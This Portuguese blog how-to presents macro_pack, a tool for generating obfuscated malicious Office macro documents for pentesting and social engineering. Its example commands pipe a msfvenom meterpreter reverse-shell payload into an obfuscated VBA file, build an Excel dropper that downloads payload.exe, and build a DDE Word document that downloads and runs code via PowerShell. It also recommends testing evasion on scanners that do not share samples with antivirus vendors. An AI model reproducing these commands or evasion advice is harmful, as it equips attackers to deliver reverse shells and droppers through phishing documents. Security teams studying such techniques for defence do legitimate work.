Image default
How To

Automatize seus projetos de pentest ou engenharia social com o macro_pack

O macro_pack simplifica o processo de bypass nas soluções antimalware, executando o processo de geração do script “malicioso” na última etapa da geração do documento do Office.

É muito simples de usar:

  • Não precisa configurar;
  • Tudo pode ser feito utilizando apenas uma linha de código;
  • Compatível com a maioria dos formatos do MS Office e VBS;
  • Ataques avançados de macros VBA, bem como ataques DDE.

Compatibilidade com ferramentas de pentest

O macro_pack é compatível com payloads gerados por ferramentas populares de pentest (Metasploit, Empire, etc). Também permite combinar com outras ferramentas, pois é possível ler a entrada stdin e ter uma saída silenciosa em outra ferramenta. Foi escrito em Python3 e funciona nas plataformas Linux e Windows.

Obs: é preciso que o Windows esteja com os aplicativos do MS Office instalados, pois isso é necessário para a geração automática de documentos ou para recursos de cavalos de tróia.

Ofuscação

O macro_pack utilizará várias técnicas de ofuscamento, de forma automática. Esta ação é compatível com todos os formatos que podem ser gerados pelo macro_pack, como o VBA ou VBS.

A opção basica (opção -o), inclui:

  • Funções para alteração de nomes;
  • Alteração de nome das variáveis;
  • Remoção de espaços;
  • Remoção de comentários;
  • Codificação de strings.

Note que o principal objetivo de ofuscação do macro_pack não é evitar a engenharia reversa, mas sim a detecção pelas ferramentas de antivírus.

Formatos suportados

Vários tipos de documentos do MS Office e de scripts podem ser gerados. O formato será adivinhado automaticamente, dependendo da extensão de arquivo fornecida. A geração de arquivos é feita utilizando a opção –generate ou -G.

A versão Pro do macro_pack também permite inserir o trojan em arquivos do Office já existentes, com a opção –trojan ou -T.

Formatos suportados:

  • MS Word 97 (.doc)
  • MS Word (.docm, .docx)
  • MS Excel 97 (.xls)
  • MS Excel (.xlsm)
  • MS PowerPoint (.pptm)
  • MS Visio 97 (.vsd)
  • MS Visio (.vsdm)
  • MS Project (.mpp)

Formato de script (txt) suportados :

  • Arquivo de texto VBA (.vba)
  • Arquivo de texto VBS (.vbs)
  • Windows Script Host (.wsh)
  • Scripts do Windows Script (.wsc, .sct)
  • Aplicações em HTML (.hta)

Note que todos os formatos de script também podem ser gerados na versão Linux do macro_pack.

Uso ético

O criador da ferramenta pede que o macro_pack seja utilizado somente por pentesters, pesquisadores de segurança ou por outras pessoas apenas para fins de aprendizagem. Ele condena o uso da ferramenta para ações antiéticas. Sabemos que isso não impedirá o uso por pessoas mal-intencionadas, por isso é que todos os recursos não foram divulgados publicamente.

Sobre a versão Pro

O modo Pro inclui:

  • Bypass avançado em soluções antimalware;
  • Bypass VBOM
  • Auto-decodificação VBA
  • Persistência do MS Office
  • Inserir trojan em documentos do MS Office existentes;
  • Movimento lateral utilizando objetos DCOM
  • Anti-debug (http://seclists.org/fulldisclosure/2017/Mar/90)

Por enquanto o autor não pretender lançar ou vender a versão professional, mas ele diz que se você realmente estiver interessado(a), poderá compartilhar a versão pro somente por uma condição:

Precisará contribuir com o macro_pack no GitHub e fornecer a sua identidade real.

É necessário ter:

  • No Windows: Como a ferramenta funciona no Python, será necessário realizar o download do pywin32 à partir do endereço: https://sourceforge.net/projects/pywin32/files/pywin32/. Para maiores informações acesse: http://python.org.br/instalacao-windows
  • No Linux: Instale o Python3 na sua distro preferida. No caso do Mint/Debian e outros da mesma família, digite o seguinte comando para instalar:
    • sudo apt-get install python3
    • sudo apt install python3-pip (necessário para instalar os pacotes obrigatórios)

1 – Instalação

1.1 – Executável do Windows

  • Pegue o último executável à partir do endereço: https://github.com/sevagas/macro_pack/releases/
  • O download do arquivo deve ser realizado em um computador que possua o Microsoft Office;
  • Entre no prompt de comando, acesse o diretório onde salvou o executável (cd nomedodiretório) e simplesmente execute o comando abaixo para saber quais parâmetros utilizar:
    • macro_pack.exe –help

1.2 – Linux

Acesse o terminal e digite os seguintes comandos:

  • git clone https://github.com/sevagas/macro_pack.git
  • cd macro_pack
  • sudo pip3 install -r requirements.txt

Para executar o macro_pack, apenas digite:

  • python3 macro_pack.py –help
    ou
  • phython macro_pack.py –help (caso o Python3 seja a versão default)

Obs: É interessante colocar o caminho do arquivo macro_pack.py nas variáveis de ambiente (PATH) do sistema operacional. Dessa forma, poderá executá-lo à partir de qualquer diretório.

2 – Exemplos de comandos

macro_pack community

2.1 – Gerar arquivo vba no msfvenom para realizar shell reverso

Para técnicas de shell reverso, onde necessita que a vítima execute um arquivo e automaticamente abra um canal de comunicação com o computador do pentester, poderá ser executado o comando abaixo, para esconder um arquivo gerado pelo msfvenom e colocar o resultado em um novo arquivo vba:

  • msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | python3 macro_pack.py -o -G meterobf.vba

Altere o IP acima (192.168.0.5) para o do computador do pentester (o seu no caso :-)).

2.2 – Esconder um arquivo vba dentro de um documento do word gerado posteriormente

Digite o comando abaixo:

  • python3 macro_pack.py -f empire.vba -o -G myDoc.docm

2.3 – Gerar um documento do Excel para realizar download de arquivo

Com o comando abaixo, será gerado um arquivo do Excel para que seja realizado automaticamente o download do arquivo payload.exe e armazenado como dropbaped.bexe:

  • echo “https://myurl.url/payload.exe” “dropped.exe” | python3 macro_pack.py -o -t DROPPER -G “drop.xlsm”

2.3 – Gere um documento do Word para realizar download de arquivo (utilizando parâmetros de Powershell)

Gere um documento do Word para que seja realizado download de um arquivo via Powershell utilizando o ataque DDE (Dynamic Data Exchange):

python3 macro_pack.py –dde -f ~/macro_pack/resources/community/ps_dl_exec.cmd -G DDE.doc

Obs: Note que no comando acima foi informado o parâmetro ~, para dizer que trata-se do diretório do usuário atual, como por exemplo: /home/joao/macro_pack/resources/community/. Caso não tenha realizado o dowmload do macro_pack dentro do diretório do usuário (o que normalmente não ocorre), informe o caminho completo.

3 – Testando a “eficiência” do arquivo gerado

Nos exemplos acima em que foi gerado um arquivo vba, foi utilizado o site NoDistribute, que executa uma varredura utilizando a engine de vários antivírus, para analisar o arquivo em si.

A vantagem deste site é que ele não compartilha o resultado da varredura com as empresas de antivírus. Pelo menos é o que diz em https://nodistribute.com/faq/.

  • Resultado obtido utilizando parâmetros padrão:
Automatize seus projetos de pentest ou engenharia social com o macro_pack
Automatize seus projetos de pentest ou engenharia social com o macro_pack | Fonte imagem: https://github.com/sevagas/macro_pack/
  • Utilizando a opção -o, para ofuscação:
Automatize seus projetos de pentest ou engenharia social com o macro_pack
Automatize seus projetos de pentest ou engenharia social com o macro_pack | Fonte imagem: https://github.com/sevagas/macro_pack/

[su_note note_color=”#000000″ text_color=”#04f200″ radius=”4″]Não envie suas amostras para scanners on-line, como por exemplo o Virus Total, pois fazendo isso, a funcionalidade do arquivo gerado será barrado pelas empresas de antivírus, pois elas conhecerão o “princípio ativo”, por assim dizer. Sugerimos que não envie para sites que não tenham o objetivo de apenas gerar relatório, como o NoDistribute. Não poderá ter certeza do que esses sites farão com os dados enviados. Caso tenha um problema com a detecção do macro_pack por parte de algum antivírus, pedimos que entre em contato com criador do macro_pack por meio do Twitter @EmericNasi ou pelos e-mails: [email protected] / [email protected][/su_note]

O macro_pack possui mais funcionalidades, opções que que podem ser utilizadas. Para saber mais acesse o link do repositório no Github em https://github.com/sevagas/macro_pack/

Fonte:

https://www.kitploit.com/2018/01/macropack-tool-used-to-automatize.html

https://github.com/sevagas/macro_pack/

Posts similares

Divulga: Acompanhe os resultados das Eleições 2016 no Linux!

O Analista

Monte sistemas de arquivos remotos sobre SSH com o SSHFS

O Analista

CoffeeMiner: Hackeando redes wi-fi para minerar criptomoedas

O Analista
O Analista_